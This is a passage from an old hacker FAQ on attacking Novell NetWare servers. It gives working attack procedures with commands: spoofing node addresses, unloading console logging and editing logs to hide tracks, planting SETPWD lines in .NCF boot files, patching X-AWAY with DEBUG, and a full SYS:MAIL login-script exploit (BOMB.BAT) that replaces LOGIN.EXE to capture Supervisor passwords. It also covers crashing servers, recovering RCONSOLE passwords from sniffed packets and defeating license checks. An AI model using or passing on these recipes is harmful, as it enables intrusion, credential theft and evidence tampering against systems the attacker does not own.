  773. Restrictions can be to a specific token ring or ethernet segment, and can
  774. be specific down to the MAC layer address, or node address. The only way
  775. around a station restriction at the node address is to spoof the address
  776. from a workstation on the same segment or ring as the address you are
  777. spoofing. Like time restrictions, only Supervisor and equivalents
  778. can alter station restrictions.
  779.  
  780. - ---------------------------------------------------------------------------
  781.  
  782. 02-5. How do I spoof my node or IP address?
  783.  
  784. This will depend greatly on what kind of network interface card (NIC) the
  785. workstation has, as to whether you can perform this function. Typically you
  786. can do it in the Link Driver section of the NET.CFG file by adding the
  787. following line - NODE ADDRESS xxxxxxxxxxxx where xxxxxxxxxxxx is the 12
  788. digit MAC layer address. This assumes you are using Netware's ODI drivers,
  789. if you are using NDIS drivers you will have to add the line to a
  790. PROTOCOL.INI or IBMENII.NIF file, which usually has the lines already in it.
  791.  
  792. For an IP address, you may have to run a TCPIP config program to make it
  793. work (it depends on whose IP stack you are running). Some implementations
  794. will have the mask, the default router and the IP address in the NET.CFG,
  795. some in the TCPIP.CFG. It is a good idea to look around in all network-
  796. related subdirectories to see if there are any .CFG, .INI, or .NIF files
  797. that may contain addresses.
  798.  
  799. Getting the target node address should be pretty easy. Login with any
  800. account and do a USERLIST /A. This will list all accounts currently logged
  801. in with their network and node address. If your workstation is on the same
  802. network as the target, you can spoof the address no problem. Actually you
  803. can spoof the address regardless but to defeat station restrictions you
  804. must be on the same network.
  805.  
  806. - ---------------------------------------------------------------------------
  807.  
  808. 02-6. How do I defeat console logging?
  809.  
  810. Here you need console and Supervisor access. The site is running 3.11 or
  811. higher and running the CONLOG.NLM. Any site running this is trapping all
  812. console messages to a file. If you run SETPWD at the console, the response
  813. by SETPWD is written to a log file. Here's the steps for determining if it
  814. is running and what to do to defeat it:
  815.  
  816.  - Type MODULES at the console. Look for the CONLOG.NLM. If it's there, it's
  817. running.
  818.  
  819.  - Look on the server in SYS:ETC for a file called CONSOLE.LOG. This is a
  820. plain text file that you can type out. However you cannot delete or edit it
  821. while CONLOG is running.
  822.  
  823.  - Unload CONLOG at the console.
  824.  
  825.  - Delete, or even better yet, edit the CONSOLE.LOG file, erasing your tracks.
  826.  
  827.  - Reload CONLOG. It will show that is has been restarted in the log.
  828.  
  829.  - Check the CONSOLE.LOG file to ensure the owner has not changed.
  830.  
  831.  - Run PURGE in the SYS:ETC directory to purge old versions of CONSOLE.LOG
  832. that your editor have left to be salvaged.
  833.  
  834. - ---------------------------------------------------------------------------
  835.  
  836. 02-7. How does password encryption work?
  837.  
  838. - From itsme -
  839.  
  840. the password encryption works as follows:
  841.  1- the workstation requests a session key from the server
  842.      (NCP-17-17)
  843.  2- the server sends a unique 8 byte key to the workstation
  844.  
  845.  3- the workstation encrypts the password with the userid,
  846.      - this 16 byte value is what is stored in the bindery on the server
  847.  
  848.  4- the WS then encrypts this 16 byte value with the 8 byte session key
  849.     resulting in 8 bytes, which it sends to the server
  850.      (NCP-17-18 = login), (NCP-17-4a = verify pw) (NCP-17-4b = change pw)
  851.  
  852.  5- the server performs the same encryption, and compares its own result
  853.     with that sent by the WS
  854.  
  855. - -> the information contained in the net$*.old files which can be found
  856.    in the system directory after bindfix was run, is enough to login
  857.    to the server as any object. just skip step 3
  858.  
  859. - ---------------------------------------------------------------------------
  860.  
  861. 02-8. Can I set the RCONSOLE password to work for just Supervisor?
  862.  
  863. Yes and no. In version 3.x, the Supe password always works.
  864.  
  865. A common mistake regarding 3.x RCONSOLE passwords is to use a switch to use
  866. only the Supervisor password. It works like this:
  867.  
  868. LOAD REMOTE /P=
  869.  
  870. instead of 
  871.  
  872. LOAD REMOTE RCONPASSWORD
  873.  
  874. The admin believes /P= turns off everything except the Supe password for
  875. RCONSOLE. In fact the password is just set to /P= which will get you in!
  876. The second most common mistake is using -S.
  877.  
  878. Version 4.1 is a bit different. Here's how it works:
  879.  
  880. - - At the console prompt, type LOAD REMOTE SECRET where SECRET is the
  881. Remote Console password.
  882.  
  883. - - Now type REMOTE ENCRYPT. You will be prompted for a password to encrypt.
  884.  
  885. - - This will give you the encrypted version of the password, and give you the 
  886. option of writing LDREMOTE.NCF to the SYS:SYSTEM directory, containing all 
  887. the entries for loading Remote Console support.
  888.  
  889. - - You can call LDREMOTE from your AUTOEXEC.NCF, or you can change the
  890. LOAD REMOTE line in the AUTOEXEC.NCF as follows:
  891.  
  892. LOAD REMOTE SECRET
  893.  
  894. becomes
  895.  
  896. LOAD REMOTE -E 870B7E366363
  897.  
  898. - ---------------------------------------------------------------------------
  899.  
  900. 02-9. Can access to .NCF files help me?
  901.  
  902. Access to any .NCF file can bypass security, as these files are traditionally
  903. run from the console and assume the security access of the console. The
  904. addition of a few lines to any .NCF file can get you access to that system.
  905.  
  906. The most vulnerable file would be the AUTOEXEC.NCF file. Adding a couple of
  907. lines to run BURGLAR.NLM or SETPWD.NLM would certainly get you access. But
  908. remember there are other .NCF files that can be used and exploited. For
  909. example, ASTART.NCF and ASTOP.NCF are used to start and stop Arcserve, the
  910. most popular backup system for Netware. The LDREMOTE.NCF as mentioned in
  911. section 02-8 is another potential target.
  912.  
  913. The lines you might add to such a file might be as follows:
  914.  
  915. UNLOAD CONLOG
  916. LOAD SETPWD SUPERVISOR SECRET
  917. CLS
  918. LOAD CONLOG
  919.  
  920. This assumes you had read/write access to the location of the .NCF file
  921. and can copy SETPWD.NLM to the server. Note that by unloading CONLOG you 
  922. are only partially covering your tracks, in the CONSOLE.LOG file it will
  923. be obvious that CONLOG was unloaded and reloaded. The CLS is to keep your
  924. activities off of the server's screen.
  925.  
  926. The best .NCF for this is obviously one that is either used during the
  927. server's boot process or during some automated process. This way a short
  928. .NCF and its activities may escape the eyes of an admin during execution.
  929.  
  930. - ---------------------------------------------------------------------------
  931.  
  932. - ---------------------------------------------------------------------------
  933.  
  934. Section 03
  935.  
  936. File and Directory Access
  937.  
  938. - ---------------------------------------------------------------------------
  939.  
  940. 03-1. How can I see hidden files and directories?
  941.  
  942. Instead of a normal DIR command, use NDIR to see hidden files and
  943. directories. NDIR *.* /S /H will show you just Hidden and System files.
  944.  
  945. - ---------------------------------------------------------------------------
  946.  
  947. 03-2. How do I defeat the execute-only flag?
  948.  
  949. If a file is flagged as execute-only, it can still be opened. Open the file
  950. with a program that will read in executables, and do a Save As to another
  951. location.
  952.  
  953. Also try X-AWAY.EXE to remove this flag since Novell's FLAG.EXE won't. But
  954. once again X-AWAY.EXE requires Supervisor access.
  955.  
  956. To disable the check for Supe access in X-AWAY, try the following:
  957.  
  958.     REN X-AWAY.EXE WORK
  959.     DEBUG WORK
  960.     EB84 EB
  961.     W
  962.     Q
  963.     REN WORK X-AWAY.EXE
  964.  
  965. Hey presto, anybody can copy X flagged files. The only catch is you need 
  966. practically full rights in the directory where the X flagged file resides.
  967.  
  968. - ---------------------------------------------------------------------------
  969.  
  970. 03-3. How can I hide my presence after altering files?
  971.  
  972. The best way is to use Filer. Here are the steps for removing file
  973. alterations -
  974.  
  975.  - Run Filer or use NDIR and note the attributes of the target file, namely
  976. the date and owner of the file.
  977.  
  978.  - Make your changes or access the file.
  979.  
  980.  - Run Filer or use NDIR and check to see if the attributes have changed. If
  981. so, change them back to the original settings.
  982.  
  983. While you can hit F1 will in Filer and get all the context-sensitive help
  984. you need, the quicky way to get where you're going is to run Filer in the
  985. target file's directory, select Directory Contents, highlight the target
  986. file and hit enter, select File Options and then View/Set File Information.
  987. View and edit to your heart's desire.
  988.  
  989. - ---------------------------------------------------------------------------
  990.  
  991. 03-4. What is a Netware-aware trojan?
  992.  
  993. A Netware-aware trojan is a program that supposedly does one thing but does
  994. another instead, and does it using Netware API calls. I have never personally
  995. encountered one, but here is how they would work.
  996.  
  997.  - Trojan program is placed on a workstation, hopefully on one frequented
  998. by admins with Supe rights. The trojan program could be named something like
  999. CHKVOL.COM or VOLINFO.COM, that is a real name but with a .COM extension.
  1000. They would be placed in the workstation's path.
  1001.  
  1002.  - Once executed, the trojan uses API calls to determine if the person is
  1003. logged in as a Supe equivalent, if not it goes to the next step. Otherwise
  1004. some type of action to breach security is performed.
  1005.  
  1006.  - The real CHKVOL.EXE or VOLINFO.EXE is ran.
  1007.  
  1008. The breach of security would typically be some type of command-line activity
  1009. that could be performed by system() calls. For example, PROP.EXE could be
  1010. run to build a property and the replacement LOGIN.EXE copied up to the
  1011. server in the SYS:LOGIN directory. Or RW access granted to the SYS:SYSTEM
  1012. directory for a non-Supe user like GUEST.
  1013.  
  1014. Once activated the trojan could also erase itself since it is no longer
  1015. needed.
  1016.  
  1017. - ---------------------------------------------------------------------------
  1018.  
  1019. 03-5. What are Trustee Directory Assignments?
  1020.  
  1021. The LAN God has pointed out quite correctly that Trustee Directory Assignments
  1022. are the most misunderstood and misconfigured portion of Novell Netware. Typically
  1023. a secure site should have Read and File Scan only in most directories, and
  1024. should not have any rights on the root directory of any volume. Rights assigned
  1025. via the Trustee Directory Assignments filter down the directory tree, so if a
  1026. user has Write access at the root directory, that user has Write access in every 
  1027. subdirectory below it (unless explicitly limited in a subdirectory down stream).
  1028. And these assignments are not located in the bindery, but on each volume.
  1029.  
  1030. The following is a brief description of Trustees and Trustee Directory
  1031. Assignments cut and pasted from the comp.os.netware.security FAQ:
  1032.  
  1033. [quote]
  1034. A trustee is any user or group that has been granted access rights in a 
  1035. directory.
  1036.  
  1037. The access rights in Novell NetWare 2 are slightly different from the ones in
  1038. NetWare 3.
  1039.  
  1040. The following is a summary of access rights for NetWare 3.
  1041.  
  1042. S - Supervisory. Any user with supervisory rights in a directory will
  1043. automatically inherit all other rights, regardless of whether they have been 
  1044. explicitly granted or not. Supervisor equivalent accounts will hold this access 
  1045. right in every directory.
  1046.  
  1047. R - Read. Enables users to read files.
  1048.  
  1049. C - Create. Enables users to create files and directories. Unless they also have 
  1050. write access, they will not be able to edit files which have been created.
  1051.  
  1052. W - Write. Enables users to make changes to files. Unless they also have create 
  1053. access, they may not be able to edit files, since the write operation can only be 
  1054. used to extend files (not truncate them, which file editors need to do).
  1055.  
  1056. E - Erase. Enable users to erase files and remove directories.
  1057.  
  1058. M - Modify. Enable users to modify file attributes.
  1059.  
  1060. F - File scan. Enables users to see file and directory information. If a user 
  1061. does not have file scan rights, they will not see any evidence of such files 
  1062. existing.
  1063.  
  1064. A - Access control. Enable user to change trustee rights. They will be able to 
  1065. add other users as trustees, remove trustees, and grant/revoke specific rights 
  1066. from users. The only caveat of access control is that it is possible for users to 
  1067. remove themselves (as trustees) from directories, thus losing all access control.
  1068.  
  1069. In addition to trustees and access rights, there is a concept of inherited rights 
  1070. which means that users inherit rights from parent directories. For example, if 
  1071. user ALICE has rights [CWEM] in a directory, and she has [RF] rights in the 
  1072. parent directory then she will have [RCWEMF] rights as a result of the inherited 
  1073. rights. This will only work if one of the rights that ALICE has in the two 
  1074. directories is granted to a group; if both are granted to her, she will lose the 
  1075. rights of the parent.
  1076. [end quote]
  1077.  
  1078. - ---------------------------------------------------------------------------
  1079.  
  1080. 03-6. Are there any default Trustee Assignments that can be exploited?
  1081.  
  1082. Yes. By default the group EVERYONE has Create rights in SYS:MAIL. This
  1083. means the user (including GUEST) has the ability to write files to any
  1084. subdirectory in SYS:MAIL. The first versions of Netware included a simple
  1085. e-mail package, and every user that is created gets a subdirectory in
  1086. mail with RCWEMF, named after their object ID number. One consistent 
  1087. number is the number 1, which is always assigned to Supervisor. Here's
  1088. one way to exploit it:
  1089.  
  1090. - - Login as GUEST and change to the SYS:MAIL subdirectory.
  1091.  
  1092. - - Type DIR. You will see one subdirectory, the one owned by GUEST. Change
  1093. into that directory (ex. here is C0003043)
  1094.  
  1095. - - Type DIR. If there is no file named LOGIN, you can bet there may not be
  1096. one for Supervisor. If there is a default-looking LOGIN file, even a zero 
  1097. length file, you cannot proceed.
  1098.  
  1099. - - Copy PROP.EXE and LOGIN.EXE (the itsme version) to SYS:MAIL\C0003043
  1100.  
  1101. - - Create a batch file (ex. here is BOMB.BAT) with the following entries:
  1102.  
  1103.   @ECHO OFF
  1104.   FLAG \LOGIN\LOGIN.EXE N > NUL
  1105.   COPY \MAIL\C0003043\LOGIN.EXE \LOGIN\LOGIN.EXE > NUL
  1106.   FLAG \LOGIN\LOGIN.EXE SRO > NUL
  1107.   \MAIL\C0003043\PROP -C > NUL
  1108.  
  1109. - - Create a LOGIN file with the following entries:
  1110.  
  1111.   MAP DISPLAY OFF
  1112.   MAP ERRORS OFF
  1113.   MAP G:=SYS:
  1114.   DRIVE G:
  1115.   COMMAND /C #\MAIL\1\BOMB
  1116.   DRIVE F:
  1117.   MAP DELETE G:
  1118.  
  1119. - - Now copy the files to the Supervisor's SYS:MAIL directory from a drive
  1120. mapped to the SYS: volume.
  1121.  
  1122. TYPE BOMB.BAT > \MAIL\1\BOMB.BAT
  1123. TYPE LOGIN > \MAIL\1\LOGIN
  1124.  
  1125. - - The next time the Supervisor logs in the LOGIN.EXE is replaced and the
  1126. PROP.EXE file is run, capturing passwords. Run PROP.EXE later to get the
  1127. passwords, and then once you have all the passwords you need (including
  1128. Supervisor) delete your LOGIN and BOMB.BAT file. 
  1129.  
  1130. Admins can defeat this by creating default personal Login Scripts or by
  1131. adding an EXIT command to the end of the System Login Script. Later versions
  1132. of Netware create a zero-length LOGIN file at ID creation time in the 
  1133. SYS:MAIL directories to defeat this.
  1134.  
  1135. - ---------------------------------------------------------------------------
  1136.  
  1137. 03-7. What are some general ways to exploit Trustee Rights?
  1138.  
  1139. To find out all your trustee rights, use the WHOAMI /R command. The 
  1140. following section is a summary of what rights to expect, and the purpose.
  1141. Where x appears, it means it doesn't matter if the right is set.
  1142.  
  1143. [SRWCEMFA] means you have FULL rights. They are all eight of the effective
  1144.     rights flags.
  1145.  
  1146. [Sxxxxxxx] shouldn't appear unless you are supervisor (or equivalent).
  1147.     It means you have full access in that directory and all subdirectories.
  1148.     You cannot be excluded from any directory, even if a user explicitly
  1149.     tries to revoke your access in a subdirectory.
  1150.  
  1151. [xxxxxxxA] is next best thing to the S right. It means you have access
  1152.     control in that directory and all subdirectories. You can have your
  1153.     access control (along with any other rights) revoked in a subdirectory,
  1154.     but you can always use inherited rights to recover them (see the 
  1155.     c.o.n.s FAQ).
  1156.  
  1157. [ R    F ] is what users should have in directories containing software.
  1158.     You have the right to read files only.
  1159.  
  1160. [ RCWEMFx] is what users should have in their home directory. You can read,
  1161.     create, and edit files. If you find any unusual directories with 
  1162.     these rights, they can also be used for storing files (maybe an abuse 
  1163.     of the network, especially if this is exploited to avoid quota 
  1164.     systems).
  1165.  
  1166. [ RxW  F ] usually means that the directory is used for keeping log files.
  1167.     Unless you have the C right, it may not be possible to edit files in
  1168.     this directory.
  1169.  
  1170. The RIGHTS commands tells you what rights you have in a particular directory.
  1171. GRANT, REVOKE, and REMOVE are used to set trustee rights.
  1172.  
  1173. - ---------------------------------------------------------------------------
  1174. - ---------------------------------------------------------------------------
  1175.  
  1176. Section 04
  1177.  
  1178. Miscellaneous Info on Netware
  1179.  
  1180. - ---------------------------------------------------------------------------
  1181.  
  1182. 04-1. Why can't I get through the 3.x server to another network via TCP/IP?
  1183.  
  1184. Loading the TCPIP.NLM in a server with two cards does not mean that packets
  1185. will be forwarded from one card to another. For packet forwarding to work, the
  1186. AUTOEXEC.NCF file should have the line:
  1187.  
  1188. load tcpip forward=yes
  1189.  
  1190. For packets to go through the server, you must set up a "gateway=aa.bb.cc.dd" 
  1191. option on the workstation. This leaves routing up to the server. If you are 
  1192. writing hack tools, keep this in mind if they use IP. Some older routers may
  1193. not recognize the Netware server as a router, so you may not have many options
  1194. if your target is on the other side of one of these routers. Newer routers are
  1195. Netware aware and will "find" your server as a router through RIP.
  1196.  
  1197. Netware 3.11 IP will only forward between two different subnets. Proxy Arp is 
  1198. currently not supported in Netware IP. Example:
  1199.  
  1200. 123.45.6 & 123.45.7 with a mask of ff.ff.ff.00 will forward packets
  1201.  
  1202. 123.45.6 & 231.45.7 with a mask of ff.ff.ff.00 will not
  1203.  
  1204. This way you do not waste precious time trying to cross an uncrossable river.
  1205. Some admins use this to limit the flow of IP traffic.
  1206.  
  1207. - ---------------------------------------------------------------------------
  1208.  
  1209. 04-2. How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?
  1210.  
  1211. For Netware 3.xx, use these command-line options:
  1212.  
  1213. SERVER -NS to skip STARTUP.NCF, and
  1214.  
  1215. SERVER -NA to skip AUTOEXEC.NCF
  1216.  
  1217. NetWare 2.x does not HAVE the files STARTUP.NCF and AUTOEXEC.NCF. Instead they
  1218. hard-code all the information into NET$OS.EXE, so you will have to rebuild it
  1219. to change anything.
  1220.  
  1221. - ---------------------------------------------------------------------------
  1222.  
  1223. 04-3. How can I login without running the System Login Script?
  1224.  
  1225. Often an admin will try and prevent a user from getting to DOS or breaking
  1226. out of the System Login Script to "control" the user. Here's to way to
  1227. prevent that -
  1228.  
  1229.  - Use ATTACH instead of LOGIN to connect to a server. ATTACH will not run
  1230. the login script, whereas LOGIN will. ATTACH.EXE will either have to be
  1231. copied to a local HD or put in SYS:LOGIN.
  1232.  - Use the /s <fname> option for LOGIN. Using "LOGIN /S NUL <login>" will
  1233. cause LOGIN to load the DOS device NUL which will always seem like an empty
  1234. file.
  1235.  
  1236. - ---------------------------------------------------------------------------
  1237.  
  1238. 04-4. How do I remotely reboot a Netware 3.x file server?
  1239.  
  1240. If you have access to a server via RCONSOLE it may come in handy after
  1241. loading or unloading an NLM to reboot a server. Build an NCF file by
  1242. doing the following steps -
  1243.  
  1244.  - Create a file called DOWNBOY.NCF on your local drive. It should be
  1245. a text file and contain the following lines:
  1246.  
  1247.     REMOVE DOS
  1248.     DOWN
  1249.     EXIT
  1250.  
  1251.  - Copy up the file to the SYS:SYSTEM directory using RCONSOLE.
  1252.  
  1253.  - At the System Console prompt, type DOWNBOY and enter.
  1254.  
  1255. What happens is this - the REMOVE DOS statement frees up the DOS section
  1256. in server RAM, the server is downed (if there are open files, you will
  1257. be given one of those "are you sure" messages, answer Y for yes), and
  1258. the EXIT command tries to return the server console to DOS. But since
  1259. you removed DOS from RAM, the server is warm booted.
  1260.  
  1261. - ---------------------------------------------------------------------------
  1262.  
  1263. 04-5. How can I abend a Netware server? And why?
  1264.  
  1265. I'll answer the second question first. You may be testing your server as an
  1266. administrator and wish to see how you are recovering from crashes. Or you
  1267. may be a hacker and wish to cover your tracks VERY DRAMATICALLY. After all,
  1268. if you are editing log files and they are going to look funny when you are
  1269. done, a good crash might explain why things look so odd in the logs.
  1270.  
  1271. These are per itsme:
  1272.  
  1273. - - Netware 4.1 : type 512 chars on the console + NENTER -> abend
  1274. - - Netware 3.11 : NCP request 0x17-subfn 0xeb with a connection number higher
  1275.   than the maximum allowed will crash the server (yes you will need the APIs)
  1276.  
  1277. - ---------------------------------------------------------------------------
  1278.  
  1279. 04-6. What is interesting about Netware 4.x's licensing?
  1280.  
  1281. It is possible to load multiple licenses and combine their total number of
  1282. users. For example, if you are in one of those Novell CNE classes where they 
  1283. give you a 2 user 4.1 license, you can get everyone's CD in class and combine 
  1284. them on one server. If you get 10 CDs you have a 20 user license. I know of no 
  1285. limit to the maximum number of licenses and user limit, except for hardware 
  1286. limitations supporting it. This means you could load more than one copy of
  1287. 1000 user Netware 4.1 on a server (assuming you have unique copies, not the
  1288. same copy twice).
  1289.  
  1290. itsme has done some poking around with his tools, and has the following to say
  1291. regarding the SERVER.EXE that comes with Netware 4: 
  1292.  
  1293.  what's inside server.exe:
  1294.  0001d7c7  server.nlm          type=07
  1295.  000d319d  "Link" 000d504a
  1296.  000d31a5  unicode.nlm         type=00  (ordinary NLM)
  1297.  000d504a  "Link" 000d6e9c
  1298.  000d5052  dsloader.nlm        type=00  (ordinary NLM)
  1299.  000d6e9c  "Link" 000db808
  1300.  000d6ea4  timesync.nlm        type=00  (ordinary NLM)
  1301.  000db808  polimgr.nlm         type=0c  ('hidden' NLM)
  1302.    by editing the binary of server, and changing the type of polimgr.nlm
  1303.    from 0c to 00  (offset 007a or 000db882 in server.exe)
  1304.    it becomes unhidden.
  1305.    hidden NLM's are protected from debugging with the netware debugger.
  1306.  
  1307.    polimgr.nlm  manages the license files, after it reads the file,
  1308.    it checks with somekind of signature function whether it is a valid file
  1309.    the function doing the checking can be made to always return OK, then
  1310.    you can create an any number of users license.
  1311.  
  1312. - ---------------------------------------------------------------------------
  1313.  
  1314. 04-7. What is Netware NFS and is it secure?
  1315.  
  1316. NFS (Networked File System) is used primarily in Unix to remotely mount a
  1317. different file system. Its primary purpose in Netware is to allow the
  1318. server to mount a Unix file system as a Netware volume, allowing Netware
  1319. users access to Unix data without running IP or logging into the server,
  1320. and Unix users to mount a Netware volume as a remote file system. If the 
  1321. rights are set up incorrectly you can gain access to a server. 
  1322.  
  1323. While the product works as described, it is a little hard to administer,
  1324. as user accounts on both sides must be in sync (name and password) and it
  1325. can be a fairly manual process to ensure that they are.
  1326.  
  1327. A reported problem with Netware NFS is that after unloading and reloading 
  1328. using the .NCF files, a system mount from the Unix side includes SYS:ETC
  1329. read only access. If this directory can be looked at from the Unix side 
  1330. after a mount, .NCF and .CFG files could be viewed and their information
  1331. exploited. For example, SYS:ETC is a possible location of LDREMOTE.NCF,
  1332. which could include the RCONSOLE password.
  1333.  
  1334. Netware NFS' existence on a server says you have some Unix boxes around
  1335. somewhere, which may be of interest as another potential system to gain
  1336. access to.
  1337.  
  1338. - ---------------------------------------------------------------------------
  1339.  
  1340. 04-8. Can sniffing packets help me break in?
  1341.  
  1342. Yes. If a user is logging in and the password is being transmitted to the 
  1343. server unencrypted, it will show up as plain text in the trace. If the site 
  1344. uses telnet and ftp, capturing those password will come in handy. Outside of 
  1345. gaining access to another system, many users will make their passwords the 
  1346. same across all systems.
  1347.  
  1348. For a list of DOS-based sniffers, see the alt.2600/#hack FAQ. I personally
  1349. prefer the Network General Sniffer ;-)
  1350.  
  1351. RCONSOLE.EXE is the client-launched application that provides a remote
  1352. server console to a Novell Netware file server. The connection between client
  1353. and server allows administrators to manage servers as if they were at the
  1354. physical server console from their desks, and allow virtually any action
  1355. that would be performed at the server console to be performed remotely,
  1356. including execution of console commands, uploading of files to the server,
  1357. and the unloading and loading of Netware Loadable Modules (NLMs). It is not
  1358. only an effective tool for administrators, it is a prime target for hackers.
  1359.  
  1360. A critical point of access to many servers is the actual physical console.
  1361. This is one of the main reasons why physical security of the server is so
  1362. important and stressed by security conscious administrators. On many systems
  1363. you have a level of access with little to no security. Netware is no 
  1364. exception.
  1365.  
  1366. The main reason to hack RCONSOLE is to gain access to the Netware server
  1367. console. No, you aren't physically there, but the OS doesn't know any 
  1368. different. And the main reason to gain access to the Netware server console
  1369. is to utilize a tool to gain Supervisor access to the Netware server.
  1370.  
  1371. During the RCONSOLE process, the password does come across the wire encrypted.
  1372. If you look at the conversation you will see packets containing the 
  1373. RCONSOLE.EXE being opened, the possible servers to be accessed, etc. This 
  1374. conversation is nothing but NCP packets.
  1375.  
  1376. Once RCONSOLE is up on the workstation, the user chooses the server, hits 
  1377. enter, and is prompted for a password. After entering the password, the 
  1378. conversation contains two 60 byte IPX/SPX packets going back and forth 
  1379. followed by 4 NCP packets, 64 bytes, 60 bytes, 64 bytes, and 310 bytes in 
  1380. length respectively. The next IPX/SPX packet, 186 bytes in length, contains 
  1381. the password. It is located at offset 3Ah, which is easy to find. Offset 38h
  1382. is always FE and offset 39h is always FF. 
  1383.  
  1384. Now comes the use of a tool called RCON.EXE from itsme that can take some of
  1385. the information you have collected and turn it into the password. What you
  1386. need are the first 8 hex bytes starting at offset 3Ah, the network address,
  1387. and the node address. Now the network and node address are in the header of
  1388. the packet that contains the encrypted password, but can also get these by
  1389. typing USERLIST /A which returns this info (and more) for each person
  1390. logged in.
  1391.  
  1392. Now why just the first 8 hex bytes? That's all Novell uses. Great
  1393. encryption scheme, huh?
  1394.  
  1395. - ---------------------------------------------------------------------------
  1396.  
  1397. 04-9. What else can sniffing get me?
  1398.  
  1399. Jeff Carr has pointed out that RCONSOLE sends screens in plaintext across
  1400. the network for all to see (well, all with sniffers). This means you can
  1401. see what is being typed in and what is happening on the screen. While it is 
  1402. not the prettiest stuff to look at, occassional gems are available. Jeff's
  1403. best gem? The RCONSOLE password. The server had been brought up without
  1404. REMOTE and RSPX being loaded, they were loaded by hand at the console after
  1405. the server was brought up. The first RCONSOLE session brought up the screen
  1406. with the lines LOAD REMOTE and LOAD RSPX PASSWORD (with PASSWORD being the
  1407. RCONSOLE password), and this was being sent to the RCONSOLE user's 
  1408. workstation in plaintext.
  1409.  
  1410. - ---------------------------------------------------------------------------
  1411.  
  1412. 04-10. How can I check for weak passwords?
  1413.  
  1414. There is a commercial product called SmartPass, which runs as an NLM. Once
  1415. installed, you can load this and analyze existing passwords for weaknesses.
  1416. A limited-time free demo can be obtained from the following address:
  1417.  
  1418.     http://www.egsoftware.com/
  1419.  
  1420. - ---------------------------------------------------------------------------
  1421. - ---------------------------------------------------------------------------
  1422.  
  1423. Section 05
  1424.  
  1425. Resources
  1426.  
  1427. - ---------------------------------------------------------------------------
  1428.  
  1429. 05-1. What are some Netware FTP locations?
  1430.  
  1431. These are from various FAQs. I have not checked all of these and I'm pretty
  1432. sure some may no longer be up. But here's a starting point.
  1433.  
  1434. Novell's ftp site:
  1435.  
  1436. ftp.novell.com                                  137.65.1.3
  1437. ftp.novell.de                                   193.97.1.1
  1438.  
  1439. Novell's ftp Mirrors:
  1440.  
  1441. netlab2.usu.edu                                 129.123.1.44 (the best)
  1442. bnug.proteon.com                                128.103.85.201
  1443. ftp.rug.nl              /networks/novell        129.125.4.15
  1444. ftp.salford.ac.uk       /novell                 146.87.255.21
  1445. tui.lincoln.ac.nz       /novell/novlib          138.75.90.4
  1446. novell.nrc.ca           /netwire                132.246.160.4
  1447.  
  1448. Other Misc. Sites:
  1449.  
  1450. ml0.ucs.ed.ac.uk        /guest/pc               129.215.112.49 (second best)
  1451. splicer2.cba.hawaii.edu /files/novell           128.171.17.2
  1452.             /files/pegasus
  1453. cc.usu.edu              /slip                   129.123.1.1
  1454.             /tcp-ip
  1455. risc.ua.edu             /pub/network/novlib     130.160.4.7
  1456.             /pub/network/pegasus
  1457.             /pub/network/misc
  1458.             /pub/network/tcpip
  1459. wuarchive.wustl.edu     /etc/system/novell      128.252.135.4
  1460. nctuccca.edu.tw                                 140.111.1.10
  1461. ftp.uni-kl.de           /pub/novell             131.246.94.94
  1462. netlab.usu.edu          /novell                 129.123.1.11
  1463.             /netwatch
  1464. chaos.cc.ncsu.edu       /pc/novell              152.1.10.23
  1465.             /pc/utils
  1466.             /pc/email
  1467.             /pc/net
  1468.             /pc/manage
  1469. dutiws.twi.tudelft.nl   /pub/novell             130.161.156.11
  1470. jumper.mcc.ac.uk        /pub/security/netware   130.88.202.26
  1471. sodapop.cc.LaTech.edu   /pub/novell/specials    138.47.22.47
  1472. ftp.safe.net            /pub/safetynet/         199.171.27.2
  1473. ftp.best.com            /pub/almcepud/hacks     204.156.128.96
  1474. ftp.efs.mq.edu.au       /pub/novell             137.111.55.8
  1475.  
  1476. - ---------------------------------------------------------------------------
  1477.  
  1478. 05-2. Can I get files without FTP?
  1479.  
  1480. Try using the BITFTP-FTP/Email gateway. Just send e-mail containing HELP as
  1481. the BODY (not a subject) to BITFTP@PUCC.BITNET. It will send more info to
  1482. you.
  1483.  
  1484. Internet gateways are:
  1485.  
  1486. ftpmail@decwrl.dec.com
  1487.  
  1488. ftpmail@cs.uow.edu.au
  1489.  
  1490. If you are on Compuserve, type GO NETWIRE to get to Novell's forum. There are
  1491. files on there for downloading. Also try the CD NSEpro, which is most of the
  1492. Netwire forum put on CD.
  1493.  
  1494. - ---------------------------------------------------------------------------
  1495.  
  1496. 05-3. What are some Netware WWW locations?
  1497.  
  1498. http://www.novell.com/                                  Novell in Provo
  1499. http://www.novell.de/                                   Novell in Europe
  1500. http://www.salford.ac.uk/ais/Network/Novell-Faq.html    Novell@listserv.syr.edu
  1501. http://mft.ucs.ed.ac.uk/                                Edinburg Tech Library*
  1502. http://resudox.net/bio/mainpage.html                    Great tools**
  1503. http://www.efs.mq.edu.au/novell/faq                     comp.sys.novell FAQ
  1504. http://occam.sjf.novell.com:8080                        Online manuals
  1505. http://www.safe.net/safety                              Security Company
  1506. http://www.cis.ohio-state.edu/hypertext/faq/usenet/netware/security/faq.html
  1507.                            comp.os.netware.security FAQ
  1508.  
  1509. * Excellent site for tons of techie info. The Netware Server Management 
  1510. section should be read be all hackers and admins alike.
  1511.  
  1512. ** BioHazard has been busy collecting tools, a great site with assorted
  1513. nasties like keystroke capture programs, sniffers, and other security
  1514. compromising goodies. The bane of Sys Admins everywhere.
  1515.  
  1516. - ---------------------------------------------------------------------------
  1517.  
  1518. 05-4. What are some Netware USENET groups?
  1519.  
  1520. Netware specific:
  1521.  
  1522.     comp.os.netware.misc (main group, replaced comp.sys.novell)
  1523.     comp.os.netware.announce (moderated announcements)
  1524.     comp.os.netware.security (security issues)
  1525.     comp.os.netware.connectivity (connect. issues incl. LAN Workplace)
  1526.  
  1527. Security, H/P in general:
  1528.  
  1529.     alt.2600
  1530.     alt.security
  1531.     comp.security.announce
  1532.     comp.security.misc
  1533.  
  1534. - ---------------------------------------------------------------------------
  1535.  
  1536. 05-5. What are some Netware mailing lists?
  1537.  
  1538. *  NOVELL@listserv.syr.edu - send an email with no subject to
  1539. listserv@listserv.syr.edu with "subscribe NOVELL Your Full Name" in the body.
  1540. You must reply to the message within two days or you'll not be added to the
  1541. list. The same address no subject with "unsubscribe NOVELL" takes you off the
  1542. list.
  1543.  
  1544. *  BIG-LAN@suvm.acs.syr.edu - send subscriptions to LISTSERV@suvm.acs.syr.edu.
  1545.  
